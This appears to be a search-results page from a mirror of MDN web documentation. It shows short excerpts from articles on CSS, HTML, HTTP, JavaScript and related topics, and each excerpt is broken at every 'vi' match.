... be aware, that will-change may actually influence the
visual appearance of elements, when used with property values, that create a stacking context (e.g.
...the spec doesn't define the beha
vior of particular value, but it is common for transform to be a compositing layer hint.
...And 2 more matches
writing-mode - CSS: Cascading Style Sheets
the next horizontal line is positioned below the pre
vious line.
... vertical-rl for ltr scripts, content flows vertically from top to bottom, and the next vertical line is positioned to the left of the pre
vious line.
... for rtl scripts, content flows vertically from bottom to top, and the next vertical line is positioned to the right of the pre
vious line.
...And 2 more matches
EXSLT
there are a number of modules; those that are supported by firefox are listed below: common (exsl)the exslt common package pro
vides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package pro
vides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package pro
vides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package pro
vides functions that allow the manipulation of strings.
... </xsl:template> </xsl:stylesheet> common the exslt common package pro
vides basic functions that expand upon the capabilities of xslt.
... functions exsl:node-set() exsl:object-type() math the exslt math package pro
vides functions for working with numeric values and comparing nodes.
...And 2 more matches
WAI ARIA Live Regions/API Support - Developer guides
retrie
ving author-supplied aria live region semantics from an event for any mutation event in a page, the author can get the following object attributes from the event object, if they are defined on some ancestor element (closest ancestor wins): object attribute name possible values default value if not specified meaning aria markup if required container-live "off" | "poli...
...if yes, member-of relation will point to the root of the region (see next section) aria-atomic on ancestor element member-of if container-atomic=true, points to an ancestor accessible object (thus it is actually an accessible relation, not object attribute) not in atomic region if not pro
vided points to the root of the atomic container that this object is in.
...determining if event was from user input all events will now pro
vide information about whether the event was caused by user input, or was something that the web page caused.
...And 2 more matches
Web Audio playbackRate explained - Developer guides
the playbackrate property of the <audio> and <
video> elements allows us to change the speed, or rate, at which a piece of web audio or
video is playing.
...next we set playbackrate to 0.5, which represents half normal speed (the playbackrate is a multiplier applied to the original rate.) a complete example let's create a <
video> element first, and set up
video and playback rate controls in html: <
video id="my
video" controls> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type='
video/mp4' /> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type='
video/webm' /> </
video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>playback rate <s...
...pan id="currentpbr">1</span></p> </form> and apply some javascript to it: window.onload = function () { var v = document.getelementbyid("my
video"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid("currentpbr"); p.addeventlistener('input',function(){ c.innerhtml = p.value; v.playbackrate = p.value; },false); }; finally, we listen for the input event firing on the <input> element, allowing us to react to the playback rate control being changed.
...And 2 more matches
DOM onevent handlers - Developer guides
the web platform pro
vides several ways to be notified of dom events.
... further changes to the html attribute value can be done
via the setattribute method; making changes to the javascript property will have no effect.
... when the event handler is invoked tbd (non-capturing listener) terminology the term event handler may refer to: any function or object that is registered to be notified of events or more specifically, to the mechanism of registering event listeners
via on… attributes in html or properties in web apis, such as <button onclick="alert(this)"> or window.onload = function() { … }.
...And 2 more matches
Graphics on the Web - Developer guides
these articles pro
vide insight into how you can accomplish this.
... 2d graphics canvas the <canvas> element pro
vides apis to draw 2d graphics using javascript.
...
view all...
...And 2 more matches
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute specifies that, optionally, a new file should be captured, and which de
vice should be used to capture that new media of a type defined by the accept attribute.
... values include user and en
vironment.
... the capture attribute takes as it's value a string that specifies which camera to use for capture of image or
video data, if the accept attribute indicates that the input should be of one of those types.
...And 2 more matches
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <
video> elements, pro
vides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data.
...the "anonymous" keyword means that there will be no exchange of user credentials
via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin.
... <link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"> specifications specification status comment html li
ving standardthe definition of 'cors settings attributes' in that specification.
...And 2 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
for the file input type, the native messaging the browser pro
vides differs.
... specifications specification status comment html li
ving standardthe definition of 'multiple attribute' in that specification.
... li
ving standard html5the definition of 'multiple attribute' in that specification.
...And 2 more matches
HTML attribute: pattern - HTML: Hypertext Markup Language
usability when including a pattern, pro
vide a description of the pattern in
visible text near the control.
...some browsers show a tooltip with title contents, impro
ving usability for sighted users.
... relying on the title attribute for the
visual display of text content is generally discouraged as many user agents do not expose the attribute in an accessible manner.
...And 2 more matches
<article>: The Article Contents element - HTML: Hypertext Markup Language
author information of an <article> element can be pro
vided through the <address> element, but it doesn't apply to nested <article> elements.
... examples <article class="film_re
view"> <header> <h2>jurassic park</h2> </header> <section class="main_re
view"> <p>dinos were great!</p> </section> <section class="user_re
views"> <article class="user_re
view"> <p>way too scary for me.</p> <footer> <p> posted on <time datetime="2015-05-16 19:00">may 16</time> by lisa.
... </p> </footer> </article> <article class="user_re
view"> <p>i agree, dinos are my favorite.</p> <footer> <p> posted on <time datetime="2015-05-17 19:00">may 17</time> by tom.
...And 2 more matches
<aside>: The Aside element - HTML: Hypertext Markup Language
the paragraph is only indirectly related to the main article content: <article> <p> the disney mo
vie <cite>the little mermaid</cite> was first released to theatres in 1989.
... </p> <aside> <p> the mo
vie earned $87 million during its initial release.
... </p> </aside> <p> more info about the mo
vie...
...And 2 more matches
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
usually, this is rendered
visually by indentation (see notes for how to change it).
... example this example demonstrates the use of the <blockquote> element to quote a passage from rfc 1149, a standard for the transmission of ip datagrams on a
vian carriers.
... <blockquote cite="https://tools.ietf.org/html/rfc1149"> <p>a
vian carriers can pro
vide high delay, low throughput, and low altitude ser
vice.
...And 2 more matches
<br>: The Line Break element - HTML: Hypertext Markup Language
it is useful for writing a poem or an address, where the di
vision of lines is significant.
...as such, it has no dimensions or
visual output of its own, and there is very little you can do to style it.
...evelyn avenue<br> mountain
view, ca<br> 94041<br> usa<br> the result looks like so: accessibility concerns creating separate paragraphs of text using <br> is not only bad practice, it is problematic for people who na
vigate with the aid of screen reading technology.
...And 2 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
by default, the
visual result is the same.
...(the title of a work, such as the name of a book or mo
vie, should use <cite>.) this means the right one to use depends on the situation.
... <p> in html 5, what was pre
viously called <em>block-level</em> content is now called <em>flow</em> content.
...And 2 more matches
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
this content is pro
vided by an external application or other source of interactive content such as a browser plug-in.
... examples <embed type="
video/quicktime" src="mo
vie.mov" width="640" height="480" title="title of my
video"> accessibility concerns use the title attribute on an embed element to label its content so that people na
vigating with assistive technology such as a screen reader can understand what it contains.
...this context shift can be confusing and time-consuming, especially if the embed element contains interactive content like
video or audio.
...And 2 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
see the below example: <fieldset> <legend>choose your interests</legend> <div> <input type="checkbox" id="coding" name="interest" value="coding" checked> <label for="coding">coding</label> </div> <div> <input type="checkbox" id="music" name="interest" value="music"> <label for="music">music</label> </div> </fieldset> pro
viding a bigger hit area for your checkboxes in the above examples, you may have noticed that you can toggle a checkbox by clicking on its associated <label> element as well as on the checkbox itself.
... this is a really useful feature of html form labels that makes it easier to click the option you want, especially on small-screen de
vices like smartphones.
...this is set using the htmlinputelement object's indeterminate property
via javascript (it cannot be set using an html attribute): inputinstance.indeterminate = true; a checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers.
...And 2 more matches
<input type="submit"> - HTML: Hypertext Markup Language
if you want to create a custom button and then customize the beha
vior using javascript, you need to use <input type="button">, or better still, a <button> element.
... here's the pre
vious example with the s access key added: <form> <div> <label for="example">let's submit some text</label> <input id="example" type="text" name="text"> </div> <div> <input type="submit" value="send" accesskey="s"> </div> </form> for example, in firefox for mac, pressing control-option-s triggers the send button, while chrome on windows uses alt+s.
...when building a site, be sure to pro
vide this information in a way that doesn't interfere with the site design (for example by pro
viding an easily accessible link that points to information on what the site access keys are).
...And 2 more matches
<isindex> - HTML: Hypertext Markup Language
<isindex> pro
vided a single line text input for entering a query string.
...the same beha
viour can be achieved with an html form.
...the user fills in the fields, clicks ok, and the query results come up in the table of contents window." a thread about isindex in november 1992, ke
vin hoadley questioned the need for an isindex element and proposed to drop it.
...And 2 more matches
<mark>: The Mark Text element - HTML: Hypertext Markup Language
otherwise, <mark> indicates a portion of the document's content which is likely to be relevant to the user's current acti
vity.
... <blockquote> it is a period of ci
vil war.
... rebel spaceships, striking from a hidden base, have won their first
victory against the e
vil galactic empire.
...And 2 more matches
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
dom interface htmlmarqueeelement attributes beha
vior sets how the text is scrolled within the marquee.
...it can only fire when the beha
vior attribute is set to alternate.
... examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" beha
vior="alternate" style="border:solid"> <marquee beha
vior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html li
ving standardthe definition of '<marquee>' in that specification.
...And 2 more matches
<p>: The Paragraph element - HTML: Hypertext Markup Language
paragraphs are usually represented in
visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but html paragraphs can be any structural grouping of related content, such as images or form fields.
...screen-readers and other assistive technology pro
vide shortcuts to let their users skip to the next or pre
vious paragraph, letting them skim content like how white space lets
visual users skip around.
... using empty <p> elements to add space between paragraphs is problematic for people who na
vigate with screen-reading technology.
...And 2 more matches
<style>: The Style Information element - HTML: Hypertext Markup Language
in the same manner as <link> elements, <style> elements can include media attributes that contain media queries, allowing you to selectively apply internal stylesheets to your document depending on media features such as
viewport width.
...it is critical to pro
vide a nonce that cannot be guessed as bypassing a resource’s policy is otherwise tri
vial.
... <!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> including a media query in this example we build on the pre
vious one, including a media attribute on the second <style> element so it is only applied when the
viewport is less than 500px in width.
...And 2 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
displaying superior lettering, which is used in some languages when rendering certain abbre
viations.
... for example, in french, the word "mademoiselle" can be abbre
viated "mlle"); this is an acceptable use case.
...among the most common uses of superior lettering is the presentation of certain abbre
viations in french: <p>robert a présenté son rapport à m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abbre
viated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abbre
viated in various languages as follows:</p> <ul> <li>english: 5<sup>th</...
...And 2 more matches
class - HTML: Hypertext Markup Language
classes allow css and javascript to select and access specific elements
via the class selectors or functions like the dom method document.getelementsbyclassname.
... specifications specification status comment html li
ving standardthe definition of 'class' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'class' in that specification.
...And 2 more matches
contenteditable - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of 'contenteditable' in that specification.
... li
ving standard no change from latest snapshot, html 5.2 html 5.2the definition of 'contenteditable' in that specification.
... recommendation snapshot of html li
ving standard, no change from html 5.1 html 5.1the definition of 'contenteditable' in that specification.
...And 2 more matches
dir - HTML: Hypertext Markup Language
chrome and safari pro
vide a directionality option in the contextual menu of input fields while internet explorer and edge use the key combinations ctrl + left shift and ctrl + right shift.
... specifications specification status comment html li
ving standardthe definition of 'dir' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'dir' in that specification.
...And 2 more matches
draggable - HTML: Hypertext Markup Language
the draggable global attribute is an enumerated attribute that indicates whether the element can be dragged, either with native browser beha
vior or the html drag and drop api.
... if this attribute is not set, its default value is auto, which means drag beha
vior is the default browser beha
vior: only text selections, images, and links can be dragged.
... specifications specification status comment html li
ving standardthe definition of 'draggable' in that specification.
...And 2 more matches
hidden - HTML: Hypertext Markup Language
note: changing the value of the css display property on an element with the hidden attribute overrides the beha
vior.
... specifications specification status comment html li
ving standardthe definition of 'hidden' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html li
ving standardthe definition of 'hidden elements' in that specification.
...And 2 more matches
id - HTML: Hypertext Markup Language
this attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although ha
ving your ids somewhat human-readable can be useful for code comprehension, e.g.
... specifications specification status comment html li
ving standardthe definition of 'id' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification.
...And 2 more matches
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
in the old days of the web, pages were typically written in two versions: one for netscape na
vigator, and one for microsoft internet explorer.
...in quirks mode, layout emulates nonstandard beha
vior in na
vigator 4 and internet explorer 5.
...in full standards mode, the beha
vior is (hopefully) the beha
vior described by the html and css specifications.
...And 2 more matches
Identifying resources on the Web - HTTP
scheme description data data uris file host-specific file names ftp file transfer protocol http/https hyper text transfer protocol (secure) javascript url-embedded javascript code mailto electronic mail address ssh secure shell tel telephone urn uniform resource names
view-source source code of the resource ws/wss (encrypted) websocket connections authority www.example.com is the domain name or authority that governs the namespace.
... query ?key1=value1&key2=value2 are extra parameters pro
vided to the web server.
...an anchor represents a sort of "bookmark" inside the resource, gi
ving the browser the directions to show the content located at that "bookmarked" spot.
...And 2 more matches
Resource URLs - HTTP
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... furthermore, some default values of preferences differ between build configurations, such as platform and locale, which means web sites could identify indi
vidual users using this information.
... solution in order to fix this problem, mozilla changed the beha
vior of loading resource: uris in bug 863246, which landed in firefox 57 (quantum).
...And 2 more matches
HTTP conditional requests - HTTP
the different beha
viors are defined by the method of the request used, and by the set of headers used for a precondition: for safe methods, like get, which usually tries to fetch a document, the conditional request can be used to send back the document, if relevant only.
... integrity of a partial download partial downloading of files is a functionality of http that allows to resume pre
vious operations, sa
ving bandwidth and time, by keeping the already obtained information: a server supporting partial downloads broadcasts this by sending the accept-ranges header.
...this is a race condition and leads to problematic beha
viors, which are difficult to detect and to debug: there is no way to deal with this problem without annoying one of the two clients.
...And 2 more matches
CSP: form-action - HTTP
csp version 2 directive type na
vigation directive default-src fallback no.
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
...And 2 more matches
Expect-CT - HTTP
ct requirements can be satisfied
via any one of the following mechanisms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by indi
vidual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and pro
viding a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs.
... when present with the enforce directive, the configuration is referred to as an "enforce-and-report" configuration, signalling to the user agent both that compliance to the certificate transparency policy should be enforced and that
violations should be reported.
... enforce optional signals to the user agent that compliance with the certificate transparency policy should be enforced (rather than only reporting compliance) and that the user agent should refuse future connections that
violate its certificate transparency policy.
...And 2 more matches
Protocol upgrade mechanism - HTTP
the http/1.1 protocol pro
vides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the upgrade header field.
... upgrading http/1.1 connections the upgrade header field is used by clients to in
vite the server to switch to one of the listed protocols, in descending preference order.
... for example: sec-websocket-extensions: superspeed, colormode; depth=16 sec-websocket-key pro
vides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to websocket.
...And 2 more matches
HTTP Public Key Pinning (HPKP) - HTTP
the first time a web server tells a client
via a special http header which public keys belong to it, the client stores this information for a given period of time.
... when the client
visits the server again, it expects at least one certificate in the certificate chain to contain a public key whose fingerprint is already known
via hpkp.
...this means that for users who imported custom root certificates all pinning
violations are ignored.
...And 2 more matches
About JavaScript - JavaScript
javascript® (often shortened to js) is a lightweight, interpreted, object-oriented language with first-class functions, and is best known as the scripting language for web pages, but it's used in many non-browser en
vironments as well.
...javascript is an easy to learn and also powerful scripting language, widely used for controlling web page beha
vior.
... javascript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (
via eval), object introspection (
via for ...
...And 2 more matches
JavaScript language resources - JavaScript
this is the second re
vision of the ecmascript standard; also iso standard 16262.
...this is the third re
vision of the ecmascript standard; corresponds to javascript 1.5.
...this is the fifth re
vision of the ecmascript standard.
...And 2 more matches
Memory Management - JavaScript
memory for an object and contained values // (like object) allocates memory for the array and // contained values var a = [1, null, 'abra']; function f(a) { return a + 2; } // allocates a function (which is a callable object) // function expressions also allocate an object someelement.addeventlistener('click', function() { someelement.style.backgroundcolor = 'blue'; }, false); allocation
via function calls some function calls result in object allocation.
...// the other is referenced by
virtue of being assigned to the 'x' variable.
... // ob
viously, none can be garbage-collected.
...And 2 more matches
Functions - JavaScript
however, object references are values, too, and they are special: if the function changes the referred object's properties, that change is
visible outside the function, as shown in the following example: /* declare the function 'myfunc' */ function myfunc(theobject) { theobject.brand = "toyota"; } /* * declare variable 'mycar'; * create and initialize a new object; * assign reference to it to 'mycar' */ var mycar = { brand: "honda", model: "accord", year: 1998 }; /* logs 'honda' */ console.log(mycar.brand); /* pass obje...
... here is an example of an anonymous function expression (the name is not used): var myfunction = function() { statements } it is also possible to pro
vide a name inside the definition in order to create a named function expression: var myfunction = function namedfunction(){ statements } one of the benefits of creating a named function expression is that in case we encountered an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.
...statements invol
ving functions which do not start with function are function expressions.
...And 2 more matches
BigInt - JavaScript
bigint is a built-in object that pro
vides a way to represent whole numbers larger than 253 - 1, which is the largest number javascript can reliably represent with the number primitive and represented by the number.max_safe_integer constant.
... const pre
viousmaxsafe = bigint(number.max_safe_integer) // ↪ 9007199254740991n const maxplusone = pre
viousmaxsafe + 1n // ↪ 9007199254740992n const thefuture = pre
viousmaxsafe + 2n // ↪ 9007199254740993n, this works now!
... const multi = pre
viousmaxsafe * 2n // ↪ 18014398509481982n const subtr = multi – 10n // ↪ 18014398509481972n const mod = multi % 10n // ↪ 2n const bign = 2n ** 54n // ↪ 18014398509481984n bign * -1n // ↪ –18014398509481984n the / operator also works as expected with whole numbers.
...And 2 more matches
Date.prototype.toLocaleDateString() - JavaScript
the new locales and options arguments let applications specify the language whose formatting conventions should be used and allow to customize the beha
vior of the function.
... syntax dateobj.tolocaledatestring([locales [, options]]) parameters the locales and options arguments customize the beha
vior of the function and let applications specify the language whose formatting conventions should be used.
... performance when formatting large numbers of dates, it is better to create an intl.datetimeformat object and use the function pro
vided by its format property.
...And 2 more matches
Date.prototype.toLocaleString() - JavaScript
the new locales and options arguments let applications specify the language whose formatting conventions should be used and customize the beha
vior of the function.
... syntax dateobj.tolocalestring([locales[, options]]) parameters the locales and options arguments customize the beha
vior of the function and let applications specify the language whose formatting conventions should be used.
... performance when formatting large numbers of dates, it is better to create an intl.datetimeformat object and use the function pro
vided by its format property.
...And 2 more matches
Date - JavaScript
(this time is historically known as greenwich mean time, as utc lies along the meridian that includes london—and nearby greenwich—in the united kingdom.) the user's de
vice pro
vides the local time.
... in addition to methods to read and alter indi
vidual components of the local date and time (such as getday() and sethours()), there are also versions of the same methods that read and manipulate the date and time using utc (such as getutcday() and setutchours()).
... due to the differing lengths of days (due to daylight sa
ving changeover), months, and years, expressing elapsed time in units greater than hours, minutes, and seconds requires addressing a number of issues, and should be thoroughly researched before being attempted.
...And 2 more matches
FinalizationRegistry - JavaScript
description finalizationregistry pro
vides a way to request that a cleanup callback get called at some point when an object registered with the registry has been reclaimed (garbage-collected).
... if theobject is reclaimed, your cleanup callback may be called at some point with the held value you pro
vided for it ("some value" in the above).
...it's also important to avoid relying on any specific beha
viors not guaranteed by the specification.
...And 2 more matches
Intl.Collator() constructor - JavaScript
this option can be set through an options property or through a unicode extension key; if both are pro
vided, the options property takes precedence.
...this option can be set through an options property or through a unicode extension key; if both are pro
vided, the options property takes precedence.
... sensiti
vity which differences in the strings should lead to non-zero result values.
...And 2 more matches
Intl.Locale.prototype.collation - JavaScript
while the idea of placing strings in order might seem tri
vial, the idea of order can vary from region to region and language to language.
... valid collation types collation type description big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a pre
vious version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected.
... trad traditional style ordering (such as in spanish) unihan pinyin ordering for latin, unihan radical-stroke ordering for cjk characters (used in chinese) zhuyin pinyin ordering for latin, zhuyin order for bopomofo and cjk characters (used in chinese) examples like other locale subtags, the collation type can be added to the intl.locale object
via the locale string, or a configuration object argument to the constructor.
...And 2 more matches
JSON - JavaScript
consider this example where json.parse() parses the string as json and eval executes the string as javascript: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and ha
ving no pro
visions for undefined or comments.
... static methods json.parse(text[, re
viver]) parse the string text as json, optionally transform the produced value and its properties, and return the value.
... any
violations of the json syntax, including those pertaining to the differences between javascript and json, cause a syntaxerror to be thrown.
...And 2 more matches
Number.NEGATIVE_INFINITY - JavaScript
any positive value di
vided by negative_infinity is negative zero.
... any negative value di
vided by negative_infinity is positive zero.
... negative_infinity, di
vided by any negative value except negative_infinity, is positive_infinity.
...And 2 more matches
Number.POSITIVE_INFINITY - JavaScript
any positive number di
vided by positive_infinity is positive zero.
... any negative number di
vided by positive_infinity is negative zero.
... positive_infinity, di
vided by any negative value except negative_infinity, is negative_infinity.
...And 2 more matches
Planned changes to shared memory - JavaScript
these changes pro
vide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory.
... for top-level documents, two headers will need to be set: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects
victims from your origin) with these two headers set, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads is therefore available.
... api changes as a result of this newly required en
vironment, there are a couple api implications: the atomics object is always available.
...And 2 more matches
String.prototype.localeCompare() - JavaScript
the new locales and options arguments let applications specify the language whose sort order should be used and customize the beha
vior of the function.
... locales and options these arguments customize the beha
vior of the function and let applications specify the language whose formatting conventions should be used.
... performance when comparing large numbers of strings, such as in sorting large arrays, it is better to create an intl.collator object and use the function pro
vided by its compare property.
...And 2 more matches
String.prototype.normalize() - JavaScript
canonical equivalence normalization in unicode, two sequences of code points have canonical equivalence if they represent the same abstract characters, and should always have the same
visual appearance and beha
vior (for example, they should always be sorted in the same way).
... all canonically equivalent sequences are also compatible, but not
vice versa.
... in some respects (such as sorting) they should be treated as equivalent—and in some (such as
visual appearance) they should not, so they are not canonically equivalent.
...And 2 more matches
String.prototype.split() - JavaScript
the split() method di
vides a string into an ordered list of substrings, puts these substrings into an array, and returns the array.
... the di
vision is done by searching for a pattern; where the pattern is pro
vided as the first parameter in the method's call.
...if pro
vided, splits the string at each occurrence of the specified separator, but stops when limit entries have been placed in the array.
...And 2 more matches
TypedArray.prototype.find() - JavaScript
the find() method returns a value in the typed array, if an element satisfies the pro
vided testing function.
... if a thisarg parameter is pro
vided to find, it will be used as the this for each invocation of the callback.
... if it is not pro
vided, then undefined is used.
...And 2 more matches
TypedArray.prototype.findIndex() - JavaScript
the findindex() method returns an index in the typed array, if an element in the typed array satisfies the pro
vided testing function.
... if a thisarg parameter is pro
vided to findindex, it will be used as the this for each invocation of the callback.
... if it is not pro
vided, then undefined is used.
...And 2 more matches
TypedArray.prototype.forEach() - JavaScript
the foreach() method executes a pro
vided function once per array element.
... description the foreach() method executes the pro
vided callback once for each element present in the typed array in ascending order.
... callback is invoked with three arguments: the element value the element index the typed array being traversed if a thisarg parameter is pro
vided to foreach(), it will be passed to callback when invoked, for use as its this value.
...And 2 more matches
TypedArray.prototype.map() - JavaScript
the map() method creates a new typed array with the results of calling a pro
vided function on every element in this typed array.
... description the map() method calls a pro
vided callback function (mapfn) once for each element in a typed array, in order, and constructs a new typed array from the results.
... if a thisarg parameter is pro
vided to map(), it will be passed to mapfn when invoked, for use as its this value.
...And 2 more matches
WeakRef - JavaScript
it's also important to avoid relying on any specific beha
viors not guaranteed by the specification.
...any beha
vior you observe in one engine may be different in another engine, in another version of the same engine, or even in a slightly different situation with the same version of the same engine.
... garbage collection is a hard problem that javascript engine implementers are constantly refining and impro
ving their solutions to.
...And 2 more matches
WebAssembly.Global - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsglobalchrome full support 69edge no support nofirefox full support 62ie no support noopera no support ...
... nosafari no support noweb
view android full support 69chrome android full support 69firefox android full support 62opera android no support nosafari ios no support nosamsung internet android full support 10.0nodejs no support noglobal() constructorchrome full support 69edge no support nofirefox full support ...
... 62ie no support noopera no support nosafari no support noweb
view android full support 69chrome android full support 69firefox android full support 62opera android no support nosafari ios no support nosamsung internet android full support 10.0nodejs no support novaluechrome full support ...
...And 2 more matches
WebAssembly.instantiate() - JavaScript
this module can be instantiated again, shared
via postmessage() or cached in indexeddb.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.instantiate(bytes, importobject) ).then(result => result.instance.exports.exported_func() ); note: you can also find this example at index.html on github (
view it live also).
... second overload example the following example (see our index-compile.html demo on github, and
view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage().
...And 2 more matches
eval() - JavaScript
you can postpone evaluation of an expression invol
ving x by assigning the string value of the expression, say "3 * x + 2", to a variable, and then calling eval() at a later point in your script.
... var expression = new string('2 + 2'); eval(expression.tostring()); // returns 4 if you use the eval function indirectly, by invoking it
via a reference other than eval, as of ecmascript 5 it works in the global scope rather than the local scope.
... eval() is a dangerous function, which executes the code it's passed with the pri
vileges of the caller.
...And 2 more matches
isNaN() - JavaScript
for example, di
viding zero by zero results in a nan — but di
viding other numbers by zero does not.
... confusing special-case beha
vior since the very earliest versions of the isnan function specification, its beha
vior for non-numeric arguments has been confusing.
... // parsing this as a number fails and returns nan useful special-case beha
vior there is a more usage oriented way to think of isnan(): if isnan(x) returns false, you can use x in an arithmetic expression not making the expression return nan.
...And 2 more matches
Lexical grammar - JavaScript
control characters control characters have no
visual representation but are used to control the interpretation of the text.
... unicode format-control characters code point name abbre
viation description u+200c zero width non-joiner <zwnj> placed between characters to prevent being connected into ligatures in certain languages (wikipedia).
... white space characters code point name abbre
viation description escape sequence u+0009 character tabulation <ht> horizontal tabulation \t u+000b line tabulation <vt> vertical tabulation \v u+000c form feed <ff> page breaking control character (wikipedia).
...And 2 more matches
Destructuring assignment - JavaScript
[10, 20, 30, 40, 50]; console.log(a); // 10 console.log(b); // 20 console.log(rest); // [30, 40, 50] ({ a, b } = { a: 10, b: 20 }); console.log(a); // 10 console.log(b); // 20 // stage 4(finished) proposal ({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}); console.log(a); // 10 console.log(b); // 20 console.log(rest); // {c: 30, d: 40} description the object and array literal expressions pro
vide an easy way to create ad hoc packages of data.
... examples array destructuring basic variable assignment const foo = ['one', 'two', 'three']; const [red, yellow, green] = foo; console.log(red); // "one" console.log(yellow); // "two" console.log(green); // "three" assignment separate from declaration a variable can be assigned its value
via destructuring separate from the variable's declaration.
...) expression needs to be preceded by a semicolon or it may be used to execute a function on the pre
vious line.
...And 2 more matches
var - JavaScript
the corresponding name is also added to a list on the internal [[varnames]] slot on the global en
vironment record (which forms part of the global lexical en
vironment).
...this means that properties on the global object are conveniently
visible from every scope, without ha
ving to qualify the names with globalthis.
... so you can just type: function foo() { string('s') // note the function `string` is implicitly
visible } ...because globalthis.hasownproperty('string') // true so the global object will ultimately be searched for unqualified identifiers.
...And 2 more matches
MathML documentation index - MathML
4 mathml: deri
ving the quadratic formula beginner, education, example, guide, html5, mathml, needsbeginnerupdate this page outlines the derivation of the quadratic formula.
... 5 pro
ving the pythagorean theorem beginner, example, guide, html5 math, math education, mathml, needsbeginnerupdate we will now prove the pythagorean theorem: 6 mathml attribute reference mathml, mathml reference this is an alphabetical list of mathml attributes.
... 14 <mfenced> deprecated, mathml, mathml reference, mathml:element, mathml:general layout schemata the deprecated mathml <mfenced> element used to pro
vide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression.
...And 2 more matches
Understanding latency - Web Performance
one of the main aims of impro
ving performance is to reduce latency.
... the latency associated with a single asset, especially a basic html page, may seem tri
vial.
... recei
ving is the time it takes to download the asset.
...And 2 more matches
Privacy, permissions, and information security
even seemingly innocuous information can in principle be used in the fingerprinting process, though the more unique the information is to the particular de
vice the better.
... web technologies and features used to enforce security and privacy technology or feature description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy pro
vides the ability to define the extent to which a document's content can be accessed by other de
vices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the beha
vior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attrib...
...rotect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api pro
vides a way to determine the status of permissions for the current browser context transport layer security (tls); formerly known as secure sockets layer (ssl) tls pro
vides security and privacy by encrypting data during transport over the network.
...And 2 more matches
clip-path - SVG: Scalable Vector Graphics
